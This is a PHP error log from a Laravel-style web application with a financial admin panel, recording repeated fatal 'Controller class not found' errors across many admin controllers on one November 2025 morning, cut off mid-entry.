12 [20-Nov-2025 08:31:21 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [20-Nov-2025 08:32:22 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php on line 12 [20-Nov-2025 08:33:23 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 08:34:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 08:35:29 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 08:36:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 08:37:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 08:38:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php on line 17 [20-Nov-2025 08:39:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 08:40:47 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php on line 9 [20-Nov-2025 08:41:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 08:43:56 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 08:44:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php on line 11 [20-Nov-2025 08:45:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 08:47:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 08:50:05 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php on line 32 [20-Nov-2025 08:59:53 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 09:08:25 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 09:09:29 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 09:10:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 09:11:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 09:12:40 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 09:13:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 09:14:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 09:15:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 09:17:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 09:18:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 09:19:11 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 09:20:01 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php on line 11 [20-Nov-2025 09:20:19 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/KycManageController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/KycManageController.php on line 15 [20-Nov-2025 09:22:10 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 09:23:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php on line 17 [20-Nov-2025 09:24:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 09:25:18 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php on line 12 [20-Nov-2025 09:26:23 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php on line 12 [20-Nov-2025 09:29:32 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php on line 32 [20-Nov-2025 09:32:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [20-Nov-2025 09:33:45 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 09:36:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 09:37:55 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php on line 9 [20-Nov-2025 09:41:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ServiceController.php on line 11 [20-Nov-2025 09:43:08 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 09:46:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 10:24:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 10:27:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 10:30:52 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 10:31:57 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 10:34:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php on line 12 [20-Nov-2025 10:35:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 10:36:09 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 10:37:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php on line 11 [20-Nov-2025 10:38:14 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 10:39:16 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 10:40:20 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 10:41:25 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 10:42:26 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 10:43:28 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php on line 17 [20-Nov-2025 10:44:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [20-Nov-2025 10:45:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CounterController.php on line 12 [20-Nov-2025 10:46:37 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php on line 9 [20-Nov-2025 10:48:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php on line 12 [20-Nov-2025 10:50:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 10:51:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 10:52:50 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 10:53:54 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php on line 32 [20-Nov-2025 10:54:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 10:56:04 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 11:05:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/TransactionController.php on line 11 [20-Nov-2025 11:07:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 11:08:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/RequestMoneyController.php on line 12 [20-Nov-2025 11:09:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 11:13:44 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/WithdrawMethodController.php on line 13 [20-Nov-2025 11:14:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 11:17:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PaymentGatewayController.php on line 12 [20-Nov-2025 11:18:42 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php:15 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/GeneralSettingController.php on line 15 [20-Nov-2025 11:19:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AccountProcessController.php on line 13 [20-Nov-2025 11:20:49 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 11:22:58 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageCountryController.php on line 11 [20-Nov-2025 11:23:59 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ManageScheduleController.php on line 11 [20-Nov-2025 11:26:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SitemapController.php on line 12 [20-Nov-2025 11:27:06 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/ReferralController.php on line 9 [20-Nov-2025 11:29:16 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CurrencyController.php on line 12 [20-Nov-2025 11:31:25 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DepositController.php on line 17 [20-Nov-2025 11:33:34 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/FeatureController.php on line 12 [20-Nov-2025 11:34:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/CategoryController.php on line 20 [20-Nov-2025 11:35:36 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/PartnerController.php on line 12 [20-Nov-2025 11:36:38 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php:32 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DashboardController.php on line 32 [20-Nov-2025 11:38:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/DpsPlanController.php on line 12 [20-Nov-2025 11:39:43 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/LanguageController.php on line 13 [20-Nov-2025 11:41:46 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BrandController.php on line 13 [20-Nov-2025 12:15:48 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php:9 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SubscriberController.php on line 9 [20-Nov-2025 12:17:31 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php:12 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/BlogCategoryController.php on line 12 [20-Nov-2025 12:18:35 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php:11 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/SocialLinkController.php on line 11 [20-Nov-2025 12:19:39 UTC] PHP Fatal error: Uncaught Error: Class "App\Http\Controllers\Controller" not found in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php:13 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/app/Http/Controllers/Admin/AdminLanguageController.php on line 13 [20-Nov-2025 12:20:42 